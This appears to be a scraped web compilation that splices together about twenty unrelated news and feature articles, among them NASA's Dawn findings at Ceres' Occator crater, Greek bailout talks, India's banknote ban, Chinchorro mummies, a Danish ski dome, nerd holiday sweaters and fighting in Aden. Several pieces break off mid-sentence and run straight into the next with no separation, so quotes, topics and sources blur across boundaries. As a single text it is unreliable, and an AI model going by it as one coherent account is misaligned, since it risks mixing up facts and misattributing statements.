Why do the different bright areas of Occator seem so distinct from one another? Lynnae Quick, a planetary geologist at the Smithsonian Institution in Washington, has been delving into this question.
The leading explanation for what happened at Occator is that it could have had, at least in the recent past, a reservoir of salty water beneath it. Vinalia Faculae, the diffuse bright regions to the northeast of the crater's central dome, could have formed from a fluid driven to the surface by a small amount of gas, similar to champagne surging out of its bottle when the cork is removed.
In the case of the Vinalia Faculae, the dissolved gas could have been a volatile substance such as water vapor, carbon dioxide, methane or ammonia. Volatile-rich salty water could have been brought close to Ceres' surface through fractures that connected to the briny reservoir beneath Occator. The lower pressure at Ceres' surface would have caused the fluid to boil off as a vapor. Where fractures reached the surface, this vapor could escape energetically, carrying with it ice and salt particles and depositing them on the surface.
Cerealia Facula must have formed in a somewhat different process, given that it is more elevated and brighter than Vinalia Faculae. The material at Cerealia may have been more like an icy lava, seeping up through the fractures and swelling into a dome. Intermittent phases of boiling, similar to what happened when Vinalia Faculae formed, may have occurred during this process, littering the surface with ice and salt particles that formed the Cerealia bright spot.
Quick's analyses do not depend on the initial impact that formed Occator. However, the current thinking among Dawn scientists is that when a large body slammed into Ceres, excavating the 57-mile-wide (92-kilometer-wide) crater, the impact may have also created fractures through which liquid later emerged.
"We also see fractures on other solar system bodies, such as Jupiter's icy moon Europa," Quick said. "The fractures on Europa are more widespread than the fractures we see at Occator. However, processes related to liquid reservoirs that might exist beneath Europa's cracks today could be used as a comparison for what may have happened at Occator in the past."
As Dawn continues the final phase of its mission, in which it will descend to lower altitudes than ever before, scientists will continue learning about the origins of the bright material on Ceres and what gave rise to the enigmatic features in Occator.
The Dawn mission is managed by JPL for NASA's Science Mission Directorate in Washington. Dawn is a project of the directorate's Discovery Program, managed by NASA's Marshall Space Flight Center in Huntsville, Alabama. UCLA is responsible for overall Dawn mission science. Orbital ATK Inc., in Dulles, Virginia, designed and built the spacecraft. The German Aerospace Center, Max Planck Institute for Solar System Research, Italian Space Agency and Italian National Astrophysical Institute are international partners on the mission team. For a complete list of mission participants, visit:
https://dawn.jpl.nasa.gov/mission
More information about Dawn is available at the following sites:
https://www.nasa.gov/dawn
https://dawn.jpl.nasa.gov
News Media Contact
Elizabeth LandauJet Propulsion Laboratory, Pasadena, Calif.(818) 354-6425Elizabeth.Landau@jpl.nasa.gov2017-317And here’s some more food for thought on the Dow and 17,000.
One expert recently praised the Dow Jones Industrial Average /quotes/zigman/627449/realtime DJIA for being the index that started indexing, but also said it’s “not up to modern standards. For one, it’s only 30 stocks.”
The blue-chip gauge and its ETF / |
finish line on each race. I don’t have any results target for the first season, but I will give everything I have to improve day after day.
Sami-Matti will be in the official testdays in Parnu, Estonia on 18-19 April and will continue learning the ropes of Formula cars ahead of his season in the 2017 F4 NEZ Championship certified by FIA.Abby Martin is an American journalist and presenter of The Empire Files, an investigative news program on the socialist state-funded satellite network teleSUR English and YouTube. She was formerly the host of Breaking the Set on the Russian network RT America, working from the Washington, D.C. bureau.
Abby sits down with Brett to talk about US imperialism and the Israel Apartheid State.
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We cannot thank you enough for all of your support and feedback!Gov. John Kasich’s campaign is plotting to snatch the Republican nomination at a contested convention in Cleveland in August.
Kasich campaign chief strategist John Weaver blasted out a strategy memo during Kasich’s Ohio victory speech that made clear that Kasich will seek to win the nomination at a contested convention. “No candidate will win 1237 delegates,” Weaver said in the memo.
Ohio governor Kasich defeated Donald Trump in the Ohio primary Tuesday night, with Kasich grabbing 43.4 percent of the vote to Trump’s 36.5 percent, with 28 percent of the precincts reporting.
“This is all I got,” Kasich said in his Ohio victory speech. “We are going to go all the way to Cleveland and secure the Republican nomination.”
But Donald Trump’s campaign scoffed at Kasich.
Mathematically it is statistically impossible for Kasich to get to 1237 – he would need 112% of the remaining delegates to be the nominee! — Eric Trump (@EricTrump) March 15, 2016
“With a narrowing field, Gov. Kasich is the candidate best positioned to go toe-to-toe in the remaining states,” Weaver said in his memo. “Our internal data shows that Rubio voters break to Gov. Kasich by a 3:1 margin. Senator Rubio will have to decide about the future of his campaign, but we believe voters in the remaining states will see this as a 3-person race no matter what,” Weaver continued.
“With the electoral map shifting significantly in our favor, Gov. Kasich is positioned to accumulate a large share of the almost 1,000 remaining delegates and enter Cleveland in strong position to become the nominee,” Weaver said.
On the topic of a contested convention, Kasich said in the Fox News Republican debate in Detroit that “We are already there.”
Breitbart News spoke to Kasich surrogate John Sununu Jr., of the New Hampshire Sununu dynasty, in the Spin Room after that debate about the possibility of a brokered convention for Kasich.
Sununu told Breitbart News that Kasich will gain delegates in the northern states, hold Trump to less than a majority share of delegates, and then win at a contested convention in Cleveland.
Pledged delegates can become un-pledged after the first ballot. It is possible that the Establishment could coalesce around Kasich, rather than Ted Cruz, to hand the nomination to if Trump fails to make it to a majority.Roughly 2,000 years before the Egyptians began mummifying their dead, the people belonging to the Chinchorro culture had already developed fairly sophisticated methods for embalming. Now, reports Giovanna Fleitas at the Associated France-Presse, researchers are using medical technology to help unravel the history of these preserved corpses.
Fifteen of the mummies, many of them infants and children, were recently transported to the Los Condes clinic in Santiago, where researchers examined them using a CT scanner to study their fragile forms without inflicting damage. “We collected thousands of images with a precision of less than one millimeter,” chief radiologist Marcelo Galvez tells Fleitas. “The next phase is to try to dissect these bodies virtually, without touching them, which will help us preserve them for another 500,000 years.”
The researchers also hope to digitally reconstruct facial features and musculature of the mummies to reveal what they looked like in life. They also took skin and hair sample for DNA testing, which they hope will help them link the Chinchorro mummies to a modern day population in South America.
The Chinchorro culture as a whole is a bit of a mystery to modern archaeologists. It is believed that the people fished, hunted and gathered, living along the coast of the Atacama Desert in what is now northern Chile and southern Peru. Aside from mummifying their dead, people belonging to the Chinchorro culture are known for fashioning fishing hooks out of polished shells, sunk with the assistance of a stone weight.
The mummies they created, however, differed from those preserved by the ancient Egyptians. Fleitas explains that the Chinchorro would remove the skin of the deceased then carefully extract the muscles and organs exposing the skeleton. They would then fill out the body with plants, clay and wood before sewing the skin back on and covering the face with a mask.
But there is still much to learn about these ancient preserved beings—and time is becoming increasingly short. University of Tarapaca museum curator Mariela Santos began noticing in recent years that the skin of some of the 100 mummies in her collection were decomposing, turning into a black ooze reports Chris Kraul at The LA Times. The museum called in Ralph Mitchell, an artifact curator from Harvard, who cultured the bacteria on the mummies.
What he found is that common skin microorganisms that are normally benign in the dry desert climate of the Atacama had begun consuming the mummies’ collagen due to an increasingly humid climate in the northern regions. New mummies found at excavation sites near Arica are already showing signs of deterioration; mummies found in the 1980s, which were initially intact, have begun “melting” in the last decade.
“How broad a phenomenon this is, we don’t really know. The Arica case is the first example I know of deterioration caused by climate change,” Mitchell tells Kraul. “But there is no reason to think it is not damaging heritage materials everywhere. It's affecting everything else.”
Conservators are currently experimenting with combinations of humidity and temperature to help preserve the mummies, Kraul reports. Vivien Standen, an anthropology professor at Tarapaca and expert on the Chinchorro is not hopeful. “I’m not optimistic we can save them,” she tells Kraul. “From the moment they are taken out of the ground, they start deteriorating.”
A new $56 million museum, which will include the mummies, is slated to open in 2020, Kraul reports. The hope is that they can slow or halt the degradation by encasing each of the bodies in its own temperature- and humidity-controlled cube.Last week, India’s Prime Minister Narendra Modi banned from circulation the country’s two largest denomination banknotes, of 500 rupees ($7.50) and 1000 rupees ($15). The shocking move—kept secret and set to take place overnight—was intended to flush out the cash hoardings of black market participants and stop the corruption currently permeating all levels of business and government in India. The two banknotes, rumoured to account for almost 80% of the cash in circulation, were used primarily to avoid paying taxes and to pay bribes.
However, the rupee ban has managed only to create chaos and desperation for millions of Indian citizens. They were left with no money to buy basic amenities, and saw their dearly earned savings being wiped out overnight. They queued in front of the banks and rushed to their ATMs, scrambling to exchange the worthless banknotes in the brief window of opportunity provided. Both banks and ATMs ran out of money, as India’s printing presses rushed to keep up by printing new lower-denomination currency.
But many Indians are so sick of corruption that they are willing, albeit grudgingly, to bear these hardships if the move should end it. They don’t know that it won’t: the move did little more than temporarily inconvenience the large money launderers and tax evaders, who have already found loopholes allowing them to profit from and minimize the effects of the government’s move—and that is a good thing.
Some have, however, realized that “the actual black money… is stashed away in Swiss bank accounts” and that it is regular people and businessmen who are the most affected. They have been and will be left with the large portion of the worthless bills once banks stop redeeming them. And as the money supply deflates, it further produces a reversed Cantillon effects phenomenon: a transfer of wealth from those still waiting in queues to those who have already exchanged their notes, as the diminishing cash stock pushes up the purchasing power of the rupee.
This high purchasing power, however, will also be short lived: new currency is being printed, and India’s central bank is already planning to further re-inflate the money supply with open market operations. All this is triggering the ‘classic’ Cantillon effects, again transferring wealth to banks, those in power, and the already wealthy—who receive the new money first—from the nation’s poor, who will be waiting for it to ‘trickle down’.
Unsurprisingly, the hardest hit are the always the poor. Sadly, they are also the ones who will likely head to vote in the next elections believing that the system will ‘now’ change and will ‘now’ work in their favor to reduce the government corruption they so despise. Often, the most difficult lesson to learn is that the best and only way to get rid of such evils is to get rid of the system.
Carmen Dorobăț has a PhD in economics from the University of Angers, and is assistant professor in International Business at Coventry University. Contact: email.Greece’s final attempt to avoid being kicked out of the euro by securing a new three-year bailout worth up to €80bn ran into a wall of resistance from the eurozone’s fiscal hawks on Saturday.
Finland rejected any more funding for the country and Germany called for Greece to be turfed out of the currency bloc for at least five years.
The last-chance talks between the 19 eurozone finance ministers in Brussels ended at midnight, as they struggled to draft a policy paper for national leaders at yet another emergency summit on Sunday that was billed as the decisive meeting.
With Greece on the edge of financial and social implosion, eurozone finance ministers met to decide on the country’s fate and on what to do about its debt crisis, after experts from the troika of creditors said that new fiscal rigour proposals from Athens were good enough to form “the basis for negotiations”.
But the German finance minister, Wolfgang Schäuble, dismissed that view, supported by a number of northern and eastern European states. “These proposals cannot build the basis for a completely new, three-year [bailout] programme, as requested by Greece,” said a German finance ministry paper. It called for Greece to be expelled from the eurozone for a minimum of five years and demanded that the Greek government transfer €50bn of state assets to an outside agency for sell-off.
Timo Soini, the nationalist True Finns leader, meanwhile, threatened to bring down the government in Helsinki if Alex Stubb, the finance minister, agreed to a new bailout for Greece. Stubb apparently came to the crunch meeting on a new bailout without a mandate to agree one.
“The hawks are very vocal,” said an EU diplomat. “It’s very tough.” Berlin also demanded stronger and more intrusive powers for outside monitors to police the economic and fiscal reforms that Alexis Tsipras, the leftist Greek prime minister, would need to commit to to secure the new bailout.
Saturday night’s talks were not to agree on a third bailout, but were negotiations on whether to launch more talks on Greece’s third rescue package in five years. The ministers faced formidable problems, said Schäuble, who argued debt relief for Greece, broadly seen as essential, was banned by the EU treaties: “Athens’s proposals are far from sufficient. The funding gaps are way beyond anything we’ve seen so far,” he said.
The hard line was echoed by Peter Kazimir, finance minister of Slovakia, who said that new austerity measures tabled by Athens were already past their sell-by date.
The eurozone has been united for five months in the negotiations with Tsipras, but with the stakes rising greatly in the last 10 days, major divisions have surfaced, with the French working tirelessly to save Greece and the hardliners now pushing Greece’s expulsion for the first time openly.
The European commission and the European Central Bank issued dire warnings that a failure to grant Greece new rescue funds of up to €78bn would put the country on a trajectory of complete banking and financial collapse.
The widening gulf between eurozone hawks and doves paves the way for an acrimonious summit on Sunday, with France and Italy lining up against Germany and the northern and eastern Europeans. Matteo Renzi, the Italian prime minister, is expected to tell chancellor Angela Merkel that enough is enough and that Greece should not have to put up with any more humiliation.
Merkel is under intense pressure from the Americans not to “lose” Greece and is worried about her own legacy. But Greece fatigue is becoming endemic in Germany, and she faces growing unrest in her party ranks where Schäuble’s hard line is popular. She was said to have endorsed Schäuble’s tough position.
If the talks break down irretrievably and Greece is allowed to slide into even greater chaos, relations between Berlin and Paris will come under tremendous strain. Michel Sapin, the French finance minister, lauded Tsipras for putting his austerity proposals before parliament and saw the moves of the past few days as “positive”.
Tsipras won a sweeping majority with the support of opposition parties, but many in his Syriza movement defected, leading to speculation that he could either call new elections or ditch his hardliners and lead a new “national unity” government.
On Thursday, Tsipras performed a remarkable U-turn and accepted more austerity measures than had been rejected in the referendum he called for five days earlier. The prompt volte-face confounded negotiators.Image caption Thousands of Somalis have fled their homes after years of drought and violence
Children in Somalia are suffering some of the highest malnutrition rates in the world, says the United Nations as drought continues to affect the country.
An UN official told the BBC about two and a half million people had been affected.
She said there had been complete crop failure in southern Somalia and that many had lost their livelihoods.
The country has also been ravaged by two decades of violence.
Many people are leaving rural areas to search for work in Somali towns, while others are quitting the country altogether - going to Kenya and Yemen, said Grainne Moloniy of the UN Food and Agricultural Organisation.
"One in four children is malnourished - that's one of the highest rates in the world," she told the BBC's World Today programme.
The rains have either failed or been inadequate for several seasons, fields are parched, and livestock - the mainstay of the economy - are dying.
People are become more dependent on remittances from their Somali relatives abroad, Ms Moloniy said.
However, the Somali diaspora has been hit by the global economic crisis, and in the past few years has been unable to send as much money home.
UN agencies and other humanitarian groups are also short of funds - the UN has only raised a third of what it needs for food aid for Somalia, Ms Moloniy said.
With no end to the drought in sight, and insecurity continuing in many parts of Somalia, it is likely the situation will get worse before it gets better, says BBC Africa analyst Mary Harper.
The country has experienced more than 20 years of conflict, with Islamist insurgents fighting forces of the transitional government, backed by peacekeepers from the African Union.The new Republican tax bill is delivering an unwelcome message to some Americans about the value of homeownership: Tax breaks are still available, but only up to a point.
One of the most controversial aspects of the bill is its $10,000 cap on deducting state and local taxes (SALT), which includes local property taxes. That's leaving many homeowners in expensive states feeling anxious about their tax burden in 2018 and beyond.
Apart from potentially higher tax payments, homeowners in expensive states like New York, New Jersey and California may feel an unwelcome side effect of the tax bill: dampened real estate values, according to Moody's Analytics. Those markets are likely to become less enticing to buyers, which will reduce the potential for home appreciation over the next several years.
The national impact on housing prices will reach minus 4 percent by mid-2019, meaning home prices are likely to be 4 percent lower than if there were no tax bill, said Mark Zandi, chief economist at Moody's Analytics.
"It's not that they would decline, but the rate of growth will slow," Zandi said of his prediction. "If housing prices would rise by 5 percent next year, with the tax cut, they will rise 1 percent."
The new treatment could also dampen home construction on top of dampening home values, according to Moody's Investor Service.
"The SALT change plus the higher standard deduction and tighter limit on the mortgage interest deduction also reduce the tax incentive for home ownership, which is likely to slow home construction and sales, and moderately suppress home values and property tax growth in higher-price markets," Moody's analysts wrote in a Thursday research note.
Moody's Analytics
Yet some regions will bear more of the brunt, with parts of Florida, California, the Northeast and urban centers in the Midwest feeling more pricing pressure, he said. It's not only millionaires and wealthy families that will feel the hit from the tax bill's new approach to housing, but many middle-class families who live in high-tax states.
New Jersey residents, for example, have the highest annual real estate taxes in the country, with an average of about $8,400 per year, compared with less than $1,000 annually for Southern states such as Alabama and Louisiana.
Essex County, New Jersey, is among the areas that stands to lose the most, according to Moody's. A mostly suburban county home to many professionals who commute into New York City for work, the average property tax bill exceeds $10,000 per year.
Not all homeowners in the county are wealthy, as its towns span the struggling city of Newark to middle-class suburbs like Nutley, where more than half of of homeowners are paying more than $10,000 in property taxes, yet the median household income is about $76,000. That means those homeowners won't be able to fully deduct their property taxes starting in 2018.
Sticker shock for housing in Silicon Valley
"The initial effect will likely slow home sales as buyers and sellers try to figure out what it means," Zandi said. "It will effect where people decide to live and expand and start businesses. It makes the Northeast, especially around New York, less competitive."
Partly because the tax bill cuts the corporate rate to from 35 percent to 21 percent, GOP lawmakers sought to find ways they could raise taxes from other sources, which led to the cut in SALT deductions and lowering the mortgage interest deduction. Lowering corporate taxes will likely give the stock market a boost, Zandi said, but he added that he questioned the trade-off against homeowners.
About two-thirds of Americans own their homes. But, noted Zandi, "Only at most half of US households own any stock at all, and the majority is owned by the top 10 percent of the distribution, so it's very narrowly held, while homeownership is broader," he said. "The impact of the change in house prices is bigger than the changes" that will help shareholders.Please enable Javascript to watch this video
COMMERCE CITY, Colo. -- Nobody was injured and one person was arrested after gunfire was reported Sunday night, the Commerce City Police Department said.
Police were called to the 6700 block of Albion Street just before 10:30 a.m. on reports of domestic violence with shots fired.
While no one was hit, a family was terrorized by the actions of a man who neighbors say pulled the trigger.
People who live along the modest street said they often hear arguing coming from inside the home. But neighbors say the fighting escalated to gunfire on Easter.
"I was out here doing my lawn," said a neighbor who only wanted to be identified as Steven.
He started Easter by trimming his lawn before heading over to join family to celebrate Christianity's most important holiday.
"It's the day our Lord resurrected and we celebrate that. That's what it means to me, family and Easter egg hunts for the kids," he said.
But the holiday also included a bizarre encounter with a neighbor.
"Then, he sees the cops and says, 'Can I go through your yard?' I said, ‘No.’ He took off anyway. That's when the cops took off. That's when they got him behind the yard," Steven said.
Police arrested the man for domestic violence and assault. But neighbors said he also fired two rounds of gunshots.
"Then, I heard it again, three to four shots both times. So I dialed 911," said another neighbor identified only as Keith.
Neighbors said they first heard arguing from the home. Then, the first volley of shots, followed by children screaming, "Don't hurt my mommy."
Then, the second round of gunfire. Police say they found evidence of rounds in a field behind the home but have yet to connect them to the suspect.
"(Families) supposed to celebrate, not argue," Steven said.
Then, a stepfather and stepson nearly went at it on the front lawn with an audience of police, neighbors and the news media with a front row seat.
"There's arguments over here and arguments over there. We're having a good time," Steven said.
"This whole neighborhood, people are starting to clean up, and straighten up and yard work is being done, landscaping. It's coming back to what it used to be. We don't need this kind of crap going on," Keith said.
Neighbors hope the peaceful spirit of Easter can brighten the shadow of anger cast over the street.
"Just hope it all straightens out," Keith said.
Police did not confirm the relationship between the suspect and the woman he allegedly assaulted. Neighbors say they have lived in the home less than a year.In 2010, U.S. President Barack Obama articulated his vision for the future of American space exploration, which included an eventual manned mission to Mars. Such an endeavor would surely cost hundreds of billions of dollars -- maybe even $1 trillion. Whatever the amount, it would be an expensive undertaking. In the past, only three motivations have led societies to spend that kind of capital on ambitious, speculative projects: the celebration of a divine or royal power, the search for profit, and war. Examples of praising power at great expense include the pyramids in Egypt, the vast terra-cotta army buried along with the first emperor of China, and the Taj Mahal in India. Seeking riches in the New World, the monarchs of Iberia funded the great voyages of Christopher Columbus and Ferdinand Magellan. And military incentives spurred the building of the Great Wall of China, which helped keep the Mongols at bay, and the Manhattan Project, whose scientists conceived, designed, and built the first atomic bomb.
In 1957, the Soviet launch of the world’s first artificial satellite, Sputnik 1, spooked the United States into the space race. A year later, the National Aeronautics and Space Administration (NASA) was born amid an atmosphere defined by Cold War fears. But for years to come, the Soviet Union would continue to best the United States in practically every important measure of space achievement, including the first space walk, the longest space walk, the first woman in space, the first space station, and the longest time logged in space. But by defining the Cold War contest as a race to the moon and nothing else, the United States gave itself permission to ignore the milestones it missed along the way.
In a speech to a joint session of Congress in May 1961, President John F. Kennedy announced the Apollo program, famously declaring, “I believe that this nation should commit itself to achieving the goal, before this decade is out, of landing a man on the moon and returningA six-armed, snowflake-shaped ski dome stretching across the river Gudenåen in Denmark would be the world’s largest if constructed, besting the current record holder, Ski Dubai, by at least 22,500 square meters. The dome consists of three enclosed, arching ramps that cross each other in the center, offering six indoor and two outdoor slopes.
The tallest arch rises 360 feet from the surface of the river at its apex. Rather than being completely enclosed, like most other indoor ski domes, Skidome Denmark, designed by CEBRA for the ski travel agency Danski, would have a perforated facade that gives skiers a view of the river and surrounding countryside.
In addition to skiing, the dome would have facilities for skateboarding and BMXing, and a landscaped park on the roof. Danski representative Simon Oscar Anderson told Dezeen that the conspicuous river location was chosen to connect the different neighborhoods in the town of Randers, “solving a lot of infrastructural problems for the city.”
“Skidome Denmark brings, quite literally, a piece of the Alps to Denmark: The slopes are developed in association with Alpe d’Huez ski resort in France, and the gradients are copied directly from the most popular pistes,” says CEBRA. “The arches contain a total of six slopes with real snow and varying degrees of difficulty, so that skiers of all ages will be able to find challenges according to skills and experience.”
“Every piste has its own chair lift and the three arches are conjoint by an elevator for transporting skiers between the different levels. In order to ensure variation in the landscape over time, it is possible to transform the pistes’ topography, providing visitors with a different experience each time they visit the ski dome.”Less than a month after the initial announcement, the big day is finally here. Tonight, Kanye West kicks off a planned two-night stint at the Hollywood Bowl in Los Angeles and each concert will find the Chicago legend performing his fourth album, 808s & Heartbreak, in full. Earlier tonight we got a preview of the exclusive merch at the show and now the concert itself has kicked off.
Before the start of the show, early peeks at the stage and surrounding areas seemed to hint at a full orchestra and potential appearances from some—if not all—of 808s & Heartbreak's featured artists, including Kid Cudi, Lil Wayne, and Mr. Hudson.
Check out some of the Twitter and Instagram posts from fans at the show below and follow along for a fan-submitted live stream on Periscope here and here.
WEST x CUDI IT IS FUCKING LIT!!!!!!!! pic.twitter.com/rbPvonNthx — CJ Manawa (@SiegeM_) September 26, 2015
rarely sleep kanye dressed like the skulls from metal gear solid 5 pic.twitter.com/zkSGXFJJVO — Justin Davis (@OGJOHNNY5) September 26, 2015 A photo posted by @ryanbailey25 on Sep 25, 2015 at 9:11pm PDT
#kanyewest A video posted by Mustafa J (@mustafaj04) on Sep 25, 2015 at 9:28pm PDTTelevision providers could lose their broadcasting licences if they fail to convince Canada’s broadcast regulator at a hearing this week that their $25 basic TV services meet the “spirit” of the newly required packages.
The Canadian Radio-television and Telecommunications Commission (CRTC) will review the “skinny” TV packages it mandated this spring and the pick-and-pay channels it will require as of Dec. 1 as part of its annual broadcasting licence renewal process at a two-day hearing in Gatineau, Que., starting Wednesday. Companies must be in compliance to get their licences renewed.
The CRTC directed providers to offer the cheaper, smaller packages by March 1 to bolster consumer choice after a long consultation on the state of TV where people complained they paid for hundreds of channels they never watched. By December, providers must offer channels à la carte, both individually and in small packages of up to 10 channels, so people can tailor their services. They must make customers aware these options exist.
But after accusations that providers made the skinny TV packages undesirable in order to keep consumers on pricier plans or buried them on their websites where no one could find them, the CRTC announced a hearing to evaluate whether the plans fall in line with the regulator’s objectives.
Vidéotron Ltd., Rogers Communications Inc., Shaw Cablesystems Ltd. and Bell Canada will all defend their offerings, which they all made available by the CRTC’s deadline.
In its submissions to the regulator, Bell argued it is in full compliance with the letter and the spirit of the policy.
It noted that all broadcasters introduced basic service packages around $25 (VMedia and Zazeen were outliers, pricing their entry-level packaging at less than $20) and that most have already launched either small packages or à la carte channels. All charged extra for the cost of equipment such as set-top boxes (consumers can rent or buy them) and most charged installation fees.
“Regardless of how a (broadcast distribution undertaking) has made the small basic service or flexible packaging available to their subscribers, our review indicates that all of them are fully compliant with the commission’s policies and regulations,” Bell’s submission states.
It included a screenshot of its website as proof that it advertised the starter package and called the hearing “premature” considering the pick-and-pay rules don’t come into play until December. (Bell also noted it launched flexible packaging nine months before the deadline.)
Yet the Consumers’ Association of Canada and Public Interest Advocacy Centre contended in submissions that information on the packages is hard to find and that some are subject to unfair practices, such as ineligibility for bundling discounts and charges for access to high-definition services.
“It turned out that by changing our current bundle of services … we would be charged so much more for our phone and Internet, that any saving on our TV package would be negligible,” Debbie McGee of Newfoundland submitted.
“The new $25 package is a bit of a joke with multiple channels from different cities that have the exact same programming,” wrote John Davey of Ontario.
CRTC chairmain Jean-Pierre Blais will kick off the hearing with a Facebook live stream on Wednesday at 9 a.m. ET.The bill wants to protect the children, but canna-businesses want the right to advertise.
A new bill proposed by California State Senator Ben Allen would prohibit canna-businesses from advertising their products via branded clothing. Senate Bill 162 would specifically "prohibit medical cannabis and non–medical marijuana licensees from advertising [or] using branded merchandise.” The bill would prevent state cannabis license holders from advertising “medical cannabis or medical cannabis products through the use of branded merchandise, including, but not limited to, clothing, hats, or other merchandise with the name or logo of the product."
The bill would also limit television advertising to ensure that cannabis products are not being marketed to minors. Television ads for cannabis products would be restricted to times when "71.6 percent of the audience is reasonably expected to be 21 years of age or older,” and online advertisers would be required to verify that those viewing their ads are 21 or older as well. However, the bill does clarify that it would not interfere with nonprofit or “noncommercial” free speech.
Officials from the American Academy of Pediatrics, California, wrote to Allen to express their support for the bill. They wrote that the bill “would ensure that children and youth are exposed to a minimal amount of marijuana advertising by assuring that no marijuana products could be marketed through branded merchandise. This would help protect children from the dangerous health effects of marijuana use in a manner consistent with tobacco regulations."
Cannabis advocates have spoken out against the bill, arguing that it will interfere with small businesses. "To ban small businesses from advertising, marketing and branding is ridiculous," said Adam Spiker, executive director of the Southern California Coalition, the largest canna-business trade group in Los Angeles. "The bill would materially hamstring small business owners' ability to grow in the land of opportunity. We are firmly against it, and will work to ensure lawmakers are aware of the harmful ramifications it would have."
"At a time when we are aggressively working to combat the misinformation and damage caused by the outdated Reefer Madness mentality, it would be a misguided mistake to ban cannabis small business owners from advertising and branding," said Ryan Jennemann, co-founder of California cultivator THC Design. "The proposed legislation would irreversibly harm the responsible efforts being made to re-educate and arm the public with the facts about cannabis, a plant less harmful than alcohol and tobacco. This concrete roadblock would only make it nearly impossible to arm patients with truth and must be stopped."While you’re out in the cold, here are a mix of holiday sweaters to warm your fragile human flesh and show everyone just how much of a nerd you really are!
Every winter, the holidays force us out of our houses and away from our computers and televisions. Our consoles spend the holidays alone as we shop for Christmas gifts, dine at holiday feasts, and ultimately spend time with our families (it’s okay Playstation, I know who really raised me all these years). While you’re out in the cold, here are some sweaters to warm your fragile human flesh, and show everyone just how much of a nerd you really are.
Doctor Who TARDIS Sweater
released in November 2015 by Hot Topic
The great news about this sweater is that it doesn’t have that “ugly Christmas sweater” feel to it, so you will be able to wear this year round as the cold demands. It’s also not too loud, despite it being a very obvious Doctor Who sweater. All in all, I think the good Doctor would approve. If you’d like to see more great Doctor Who apparel, check out Caitlyn’s article about the recent launch by Hot Topic.
Gremlins Knit Sweater
released in October 2014 by Mondo
The first Gremlins movie released in 1984, so sweet baby Gizmo has earned his right to be well represented at your holiday festivities. This sweater is definitely in the classic Christmas sweater format and the first movie was set during Christmas so it makes sense. Fortunately this cute little fluff ball and his evil friends are so famous, even Grandma might like what you have on for a change.
Star Wars AT-AT Christmas Jumper
released in November 2015 by Numskull
There are literally over a hundred options for Star Wars sweaters, so I did you the favor of picking something holiday neutral. This AT-AT sweater even has a bit of a Frozen feel to it. If Elsa were a Jedi with special ice powers instead of a lame… whatever she is; this would be the sweater for you. At least this means your niece will think you’re the coolest! If you really do want to represent Frozen, we got you covered there, too.
Friday the 13th Knit Sweater 8-Bit Glow In the Dark Variant
released in September 2015 by Mondo
If horror films are more your style, I didn’t want to leave you out (you know, for safety reasons). This one might be a little too bloody for younger family members, but kids love being traumatized! If Jason Voorhees isn’t quite your taste, don’t worry as his sick, demented brothers tagged along just like yours always does.
Playstation Symbols Christmas Jumper
released by Numskull
This sweater is really a smart buy. It has that ugly Christmas sweater vibe, but there isn’t anything particularly Christmas-y about it. It is clearly a devotion to Playstation to the discerning gamer eye, but to anyone who doesn’t know that those are buttons, it almost looks like something a Kindergarten teacher would wear. Yes, it’s settled, if you have a PS4, you must also have this sweater. Or, you could get this one you’re not going for subtle and also are more of the old school Playstation, PSOne crowd.
Fallout 4 Christmas Jumper
released by Numskull
This unassuming sweater honestly looks like something your Grandma would wear. Fallout 4 has the best 50’s diner vibe around, and really, who didn’t love the 50s? I already showered this sweater love in my article on Fallout 4 collectibles, but it was too good to disclude.
Pokemon Boyfriend Cardigan
by Welovefine
I am definitely cheating on this one. For one, it’s a cardigan, not a sweater, and also it is not even remotely ugly. However, once I saw those Pokeball buttons, I had to include it. Your cousins will think you’re awesome, but the rest of your family will probably just wonder why you have strange little buttons and a happy creature on your chest. Little do they know that he’s actually a powerful pocket monster!
Captain America Uniform Sweater
by Welovefine
Nothing about this brilliant Captain America sweater has anything to do with Christmas, except that Christmas has something to do with America, and Captain America is America, and AMERICA! This is a really great buy if you want something that you can wear year round and will double as a Fourth of July sweater for the fireworks. July? Sweaters in July?! Have you ever been to the North at night in July? It can get a little chilly.
Classic Sonic Christmas Jumper
by Numskull
This sweater is a must have for anyone who has played video games pretty much ever. This high speed side scroller launched in 1991 directly into our hearts. I remember watching my cousin play this when I was too small to hold the control, then I played it in the 90s, and now my nephew plays the games that feature Sonic, but seem completely foreign to me. What do mean Sonic is at the Olympics? Why on earth is he there? Is he after the rings?! Sonic, no!
The Nightmare Before Christmas Fair Isle Cardigan
released in |
“had fallen harmlessly into the sea”.
“Aden is peaceful and things are back to normal after the rebellion was ended,” he said on Aden television. A Houthi spokesman could not immediately be reached for comment.
The Houthis earlier this week removed the air force chief for refusing to provide them with air support and replaced him with a general who is closer to their group.
Residents said anti-aircraft guns opened fire at the plane, and smoke was seen rising from the area, but it was not immediately clear if Hadi was in the compound. A second approach by a warplane was repelled by anti-aircraft fire, they said.
Related Coverage Aden governor accuses Yemen's Houthis of air strike
An aide to Hadi said the president was “safe at a secure location... There was a raid, but there were no casualties.”
In Washington, U.S. State Department spokeswoman Jen Psaki called on both parties to refrain from violence.
“We’re concerned about actions that could increase tensions in Yemen and lead to further destabilization. We call on all parties to de-escalate the situation,” she said.
RENEGADE CAMP
The affiliation of the aircraft was not immediately known, but residents in Sanaa said they saw an unusually busy level of flights by military aircraft in the skies of the capital.
Earlier in the day, soldiers and militiamen loyal to Hadi using tanks and armored vehicles battled their way into Aden’s airport and stormed the nearby military base, residents said.
General Abdel-Hafez al-Saqqaf had been holed up for days in the base after refusing Hadi’s order to hand his Special Forces unit to another officer’s command, a security source said.
The fighting brought traffic at the airport to a halt.
Witnesses said many Special Forces soldiers had been taken prisoner at the al-Sawlaban base in the Khor Maksar district.
Saqqaf later turned himself in to the governor of the adjacent Lahj province, the Aden al-Ghad newspaper reported.
In a statement, the Houthi-led Supreme Security Committee urged an end to the Aden fighting, saying both sides “are obliged to keep the peace and return to the negotiating table”.
Slideshow (7 Images)
The growing instability in Aden has overshadowed a determined campaign of attacks by al Qaeda, long seen by Washington as the main threat to the country, which shares a long border with the world’s top oil exporter, Saudi Arabia.
Tensions have been heightened in Aden since Hadi fled there in February after escaping a month of house arrest in Sanaa by Houthi forces who seized Sanaa last September. Hadi has been trying to consolidate his control over Aden, the better to mount a challenge to Houthi ambitions to control the country.Posted on October 16, 2012
Candy Crowley: Romney Was Actually "Right In The Main" On Libya
CANDY CROWLEY, debate moderator, after the debate: You know, again, I heard the president's speech at the time. I sort of reread a lot of stuff about Libya because I knew we'd probably get a Libya question, so I kind of wanted to be up on it. So we knew that the president had said, you know, 'these acts of terror won't stand,' or whatever the whole quote was.
